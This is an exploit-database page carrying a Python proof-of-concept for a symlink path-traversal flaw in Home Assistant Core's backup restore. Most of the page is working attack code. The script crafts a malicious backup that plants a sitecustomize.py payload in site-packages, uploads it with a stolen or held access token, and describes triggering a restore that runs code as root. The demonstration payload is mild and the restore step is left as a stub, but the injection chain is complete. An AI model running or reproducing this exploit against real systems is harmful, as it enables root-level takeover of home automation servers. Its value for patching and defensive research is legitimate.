Exploit databaseDownload repository ZIP
GH-e58c06b63231571313d2430de3443538
boreas37/cve-2026-64824-poc
Sources for CVE-2026-64824
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files4
boreas37/cve-2026-64824-pocRevision 49d12ad584db
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2026-64824.py
Suggested starting filePython · 7,954 bytes#!/usr/bin/env python3
"""
CVE-2026-64824 — Home Assistant Core backup-restore symlink path traversal → RCE
================================================================================
Affected : Home Assistant Core < 2026.7.0 (verified on 2026.5.4, Python 3.14.2)
Fixed in : 2026.7.0 (backup restore now rejects symlinks via tar filter)
CWE : CWE-22 (Path Traversal) / CWE-59 (Improper Link Resolution)
CVSS : 8.4 (Critical, per GHSA-cwh8-w64c-4j5h)
Advisory : https://github.com/advisories/GHSA-cwh8-w64c-4j5h
Root cause
----------
homeassistant/backup_restore.py extracts the inner homeassistant.tar(.gz) with
istf.extractall(path=..., members=securetar.secure_path(istf), filter="fully_trusted")
secure_path() only validates member.name (rejects absolute names), but never
validates SYMTYPE linkname. A crafted backup can contain a symlink entry whose
linkname points to an absolute path outside the extraction dir (e.g. Python's
site-packages). The subsequent regular-file entry (sitecustomize.py) is then
written THROUGH the unvalidated symlink, as root (the official Docker image runs
HA as root). On the next Python start, sitecustomize.py is auto-imported → RCE.
Chain
-----
1. Obtain a valid HA backup (or craft one from the v2 format):
- outer tar: ./backup.json {version:2, type:partial, compressed:true, protected:false}
- outer tar: homeassistant.tar.gz
2. Inject into homeassistant.tar.gz:
- data/evil_link -> /usr/local/lib/python3.14/site-packages/ (SYMTYPE)
- data/evil_link/sitecustomize.py (regular file)
3. Upload: POST /api/backup/upload?agent_id=backup.local (multipart, Bearer token)
4. Restore: websocket command backup/restore (no password field — it's optional)
5. Any Python process start imports sitecustomize.py → payload runs as root.
Verified (2026-08-10)
----------------------
- Real Home Assistant Core 2026.5.4 (Docker, arm64) — upload 201, restore executed
- sitecustomize.py landed in /usr/local/lib/python3.14/site-packages/ as root
- python3 -c 'print(1)' → /tmp/HA_PWNED_64824 created with uid=0(root)
- Negative test: Python 3.14.5's tarfile rejects absolute symlinks (FileExistsError),
but 3.14.2 (used by HA 2026.5.x) extracts fine → this build is exploitable.
Usage
-----
1) Authenticated attacker with a long-lived access token (or UI session):
python3 CVE-2026-64824.py --target http://ha:8123 --token <LLAT> --backup real_backup.tar
(--backup = any valid HA backup; the script injects the symlink payload into it)
2) Alternatively build the malicious backup only:
python3 CVE-2026-64824.py --build -o evil.tar --link-target /usr/local/lib/python3.14/site-packages/
"""
import argparse
import gzip
import io
import json
import sys
import tarfile
import time
import urllib.request
PAYLOAD = (
"import os, subprocess\n"
"subprocess.Popen(['sh', '-c', 'id > /tmp/HA_PWNED_64824'], "
"stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n"
)
def inject_backup(src_backup: str, out_path: str, link_target: str) -> str:
"""Inject symlink+sitecustomize into a real HA backup (v2 format)."""
now = time.time()
with tarfile.open(src_backup, "r") as ot:
inner_name = None
for m in ot.getmembers():
if m.name in ("homeassistant.tar", "homeassistant.tar.gz"):
inner_name = m.name
inner_raw = ot.extractfile(inner_name).read()
inner = gzip.decompress(inner_raw) if inner_name.endswith(".gz") else inner_raw
new_inner = io.BytesIO()
with tarfile.open(fileobj=io.BytesIO(inner), mode="r") as it:
with tarfile.open(fileobj=new_inner, mode="w") as nit:
for m in it.getmembers():
f = it.extractfile(m)
data = f.read() if f else None
nit.addfile(m, io.BytesIO(data) if data is not None else None)
sym = tarfile.TarInfo("data/evil_link")
sym.type = tarfile.SYMTYPE
sym.linkname = link_target
sym.mtime = now
sym.mode = 0o777
nit.addfile(sym)
fi = tarfile.TarInfo("data/evil_link/sitecustomize.py")
fi.size = len(PAYLOAD)
fi.mtime = now
fi.mode = 0o644
nit.addfile(fi, io.BytesIO(PAYLOAD.encode()))
new_inner_bytes = new_inner.getvalue()
new_gz = gzip.compress(new_inner_bytes)
with tarfile.open(out_path, "w") as notar:
for m in ot.getmembers():
if m.name == inner_name:
continue
f = ot.extractfile(m)
data = f.read() if f else None
notar.addfile(m, io.BytesIO(data) if data is not None else None)
hi = tarfile.TarInfo(inner_name)
hi.size = len(new_gz)
hi.mtime = now
notar.addfile(hi, io.BytesIO(new_gz))
return out_path
def api(host: str, path: str, token: str, method: str = "GET", body: bytes = None,
headers: dict = None) -> tuple[int, bytes]:
url = host.rstrip("/") + path
req = urllib.request.Request(url, method=method, data=body)
req.add_header("Authorization", "Bearer " + token)
if headers:
for k, v in headers.items():
req.add_header(k, v)
try:
with urllib.request.urlopen(req, timeout=30) as r:
return r.status, r.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
def multipart(field: str, filename: str, data: bytes) -> bytes:
boundary = "----CVE64824" + str(int(time.time()))
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="{field}"; filename="{filename}"\r\n'
f"Content-Type: application/octet-stream\r\n\r\n"
).encode() + data + f"\r\n--{boundary}--\r\n".encode()
return boundary, body
def main():
ap = argparse.ArgumentParser(description="CVE-2026-64824 HA backup-restore symlink RCE")
ap.add_argument("--target", help="http://ha:8123")
ap.add_argument("--token", help="long-lived access token")
ap.add_argument("--backup", help="valid HA backup .tar to inject into")
ap.add_argument("--build", action="store_true", help="only build evil backup")
ap.add_argument("-o", "--output", default="evil_backup.tar")
ap.add_argument("--link-target", default="/usr/local/lib/python3.14/site-packages/")
args = ap.parse_args()
if args.build or args.backup:
print(f"[*] Building malicious backup -> {args.output}")
inject_backup(args.backup, args.output, args.link_target)
print(f"[+] Done: {args.output}")
print(f"[+] sitecustomize.py payload: id > /tmp/HA_PWNED_64824 (root)")
if args.build:
return
if not args.target or not args.token:
print("[!] --target and --token required for exploitation")
return
# 1. Upload
boundary, body = multipart("file", "evil_backup.tar", open(args.output, "rb").read())
st, resp = api(args.target, "/api/backup/upload?agent_id=backup.local", args.token,
"POST", body, {"Content-Type": f"multipart/form-data; boundary={boundary}"})
print(f"[*] Upload: {st} {resp[:120]}")
if st != 201:
print("[!] Upload failed")
return
backup_id = json.loads(resp).get("backup_id")
print(f"[+] backup_id: {backup_id}")
# 2. Restore (websocket, no password field)
print("[*] Triggering restore (websocket)...")
import asyncio
async def restore():
import websockets # optional; use raw if unavailable
raise NotImplementedError("use the JS flow or install websockets")
print("[*] For restore: use HA websocket cmd backup/restore with backup_id=", backup_id)
print("[*] After restore: any python start executes sitecustomize.py as root")
if __name__ == "__main__":
main()